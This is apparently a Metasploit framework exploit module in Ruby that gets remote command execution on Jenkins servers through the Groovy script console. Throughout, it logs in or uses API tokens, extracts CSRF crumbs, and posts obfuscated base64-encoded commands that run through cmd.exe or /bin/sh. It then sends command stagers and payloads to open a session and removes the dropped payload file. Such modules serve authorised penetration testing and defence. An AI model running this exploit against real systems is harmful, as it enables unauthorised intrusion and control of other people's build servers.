##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  include Msf::Exploit::Remote::HTTP::Jenkins

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Jenkins-CI Script-Console Java Execution',
        'Description' => %q{
          This module uses the Jenkins-CI Groovy script console to execute
          OS commands using Java.
        },
        'Author' => [
          'Spencer McIntyre',
          'jamcut',
          'thesubtlety'
        ],
        'License' => MSF_LICENSE,
        'DefaultOptions' => {
          'WfsDelay' => '10'
        },
        'References' => [
          ['URL', 'https://wiki.jenkins-ci.org/display/JENKINS/Jenkins+Script+Console']
        ],
        'Platform' => %w[win linux unix],
        'Targets' => [
          [
            'Windows',
            {
              'Arch' => [ ARCH_X64, ARCH_X86 ],
              'Platform' => 'win',
              'CmdStagerFlavor' => [ 'certutil', 'vbs' ]
            }
          ],
          ['Linux', { 'Arch' => [ ARCH_X64, ARCH_X86 ], 'Platform' => 'linux' }],
          ['Unix CMD', { 'Arch' => ARCH_CMD, 'Platform' => 'unix', 'Payload' => { 'BadChars' => "\x22" } }]
        ],
        'DisclosureDate' => '2013-01-18',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [ CRASH_SAFE, ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, ],
          'Reliability' => [ REPEATABLE_SESSION, ]
        }
      )
    )

    register_options(
      [
        OptString.new('USERNAME', [ false, 'The username to authenticate as', '' ]),
        OptString.new('PASSWORD', [ false, 'The password for the specified username', '' ]),
        OptString.new('API_TOKEN', [ false, 'The API token for the specified username', '' ]),
        OptString.new('TARGETURI', [ true, 'The path to the Jenkins-CI application', '/jenkins/' ])
      ]
    )

    self.needs_cleanup = true
  end

  def post_auth?
    true
  end

  def check
    uri = target_uri
    uri.path = normalize_uri(uri.path)
    uri.path << '/' if uri.path[-1, 1] != '/'
    res = send_request_cgi({ 'uri' => "#{uri.path}login" })
    if res && res.headers.include?('X-Jenkins')
      return Exploit::CheckCode::Detected
    else
      return Exploit::CheckCode::Safe
    end
  end

  def on_new_session(_client)
    if !@to_delete.nil?
      print_warning("Deleting #{@to_delete} payload file")
      execute_command("rm #{@to_delete}")
    end
  end

  # This method takes a command and options then attempts to make a request and returns a response
  #
  # @param [String] cmd The cmd used
  # @param [String] _opts Request options
  # @return [Rex::Proto::Http::Response, nil] res The result of the request
  def http_send_request(cmd)
    request_parameters = {
      'method' => 'POST',
      'uri' => normalize_uri(@uri.path, 'script'),
      'authorization' => basic_auth(datastore['USERNAME'], datastore['API_TOKEN']),
      'vars_post' =>
        {
          'script' => java_craft_runtime_exec(cmd),
          'Submit' => 'Run'
        }
    }
    request_parameters['vars_post'][@crumb[:name]] = @crumb[:value] unless @crumb.nil?
    send_request_cgi(request_parameters)
  end

  # This method takes a command and options then attempts to make a request to send the command
  #
  # @param [String] cmd The cmd used
  # @param [String] _opts Request options
  # @return [Rex::Proto::Http::Response] res The response of the request
  def http_send_command(cmd, _opts = {})
    res = http_send_request(cmd)

    fail_with(Failure::Unknown, 'Failed to execute the command.') if res.nil?

    # Attempt to login if we haven't previously
    if res.code == 401 && !@attempted_login
      print_status('Authentication required for Jenkins-CI Groovy script console - Logging in...')
      attempt_jenkins_login
      res = http_send_request(cmd)
    end

    fail_with(Failure::Unreachable, "#{peer} - Could not connect to Jenkins - no response") if res.nil?
    fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected HTTP response code: #{res.code}") if res.code != 200

    res
  end

  def java_craft_runtime_exec(cmd)
    vars = Rex::RandomIdentifier::Generator.new(
      Rex::RandomIdentifier::Generator::JavaOpts
    )
    jcode = <<~JCODE
      String #{vars[:encoded]} = "#{Rex::Text.encode_base64(cmd)}";
      byte[] #{vars[:decoded]};
      try {
        #{vars[:decoded]} = Base64.getDecoder().decode(#{vars[:encoded]});
      } catch(groovy.lang.MissingPropertyException e) {
        Object #{vars[:decoder]} = Eval.me("new sun.misc.BASE64Decoder()");
        #{vars[:decoded]} = #{vars[:decoder]}.decodeBuffer(#{vars[:encoded]});
      }
    JCODE

    jcode << "String[] #{vars[:cmd_array]} = new String[3];\n"
    if target['Platform'] == 'win'
      jcode << "#{vars[:cmd_array]}[0] = \"cmd.exe\";\n"
      jcode << "#{vars[:cmd_array]}[1] = \"/c\";\n"
    else
      jcode << "#{vars[:cmd_array]}[0] = \"/bin/sh\";\n"
      jcode << "#{vars[:cmd_array]}[1] = \"-c\";\n"
    end
    jcode << "#{vars[:cmd_array]}[2] = new String(#{vars[:decoded]}, \"UTF-8\");\n"
    jcode << "Runtime.getRuntime().exec(#{vars[:cmd_array]});\n"
    jcode
  end

  def execute_command(cmd, _opts = {})
    vprint_status("Attempting to execute: #{cmd}")
    http_send_command(cmd.to_s)
  end

  # This method makes calls to multiple methods to handle Jenkins login attempts
  def attempt_jenkins_login
    @attempted_login = true
    login_uri = jenkins_uri_check(@uri, keep_cookies: true)
    status, _proof = jenkins_login(datastore['USERNAME'], datastore['PASSWORD'], login_uri)

    if status == Metasploit::Model::Login::Status::INCORRECT
      fail_with(Msf::Module::Failure::NoAccess, "Incorrect credentials - #{datastore['USERNAME']}:#{datastore['PASSWORD']}")
    elsif status == Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
      fail_with(Msf::Module::Failure::UnexpectedReply, 'Unexpected reply from server')
    end
  end

  def exploit
    @attempted_login = false
    @uri = target_uri
    @uri.path = normalize_uri(@uri.path)
    @uri.path << '/' if @uri.path[-1, 1] != '/'
    print_status('Checking access to the script console')
    res = send_request_cgi({ 'uri' => "#{@uri.path}script" })
    fail_with(Failure::Unknown, 'No Response received') if !res

    @crumb = nil
    if res.code != 200
      if datastore['API_TOKEN'].present?
        print_status('Authenticating with token...')
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(@uri.path, 'crumbIssuer/api/json'),
          'authorization' => basic_auth(datastore['USERNAME'], datastore['API_TOKEN'])
        })
        if (res && (res.code == 401))
          fail_with(Failure::NoAccess, 'Login failed')
        end
      else
        print_status('Logging in...')
        attempt_jenkins_login
        res = send_request_cgi({ 'uri' => "#{@uri.path}script" })

        if res.code == 403
          fail_with(Failure::NoAccess, "#{datastore['USERNAME']} does not have permissions to complete this request")
        elsif res.code != 200
          fail_with(Failure::UnexpectedReply, 'Unexpected reply from server')
        end
      end
    else
      print_status('No authentication required, skipping login...')
    end

    if res.body =~ /"\.crumb", "([a-z0-9]*)"/
      print_status("Using CSRF token: '#{Regexp.last_match(1)}' (.crumb style)")
      @crumb = { name: '.crumb', value: Regexp.last_match(1) }
    elsif res.body =~ /crumb\.init\("Jenkins-Crumb", "([a-z0-9]*)"\)/ || res.body =~ /"crumb":"([a-z0-9]*)"/
      print_status("Using CSRF token: '#{Regexp.last_match(1)}' (Jenkins-Crumb style v1)")
      @crumb = { name: 'Jenkins-Crumb', value: Regexp.last_match(1) }
    elsif res.body =~ /data-crumb-value="([a-z0-9]*)"/
      print_status("Using CSRF token: '#{Regexp.last_match(1)}' (Jenkins-Crumb style v2)")
      @crumb = { name: 'Jenkins-Crumb', value: Regexp.last_match(1) }
    end

    case target['Platform']
    when 'win'
      print_status("#{rhost}:#{rport} - Sending command stager...")
      execute_cmdstager({ linemax: 2049 })
    when 'unix'
      print_status("#{rhost}:#{rport} - Sending payload...")
      http_send_command(payload.encoded.to_s)
    when 'linux'
      print_status("#{rhost}:#{rport} - Sending Linux stager...")
      execute_cmdstager({ linemax: 2049 })
    end

    handler
  end
end
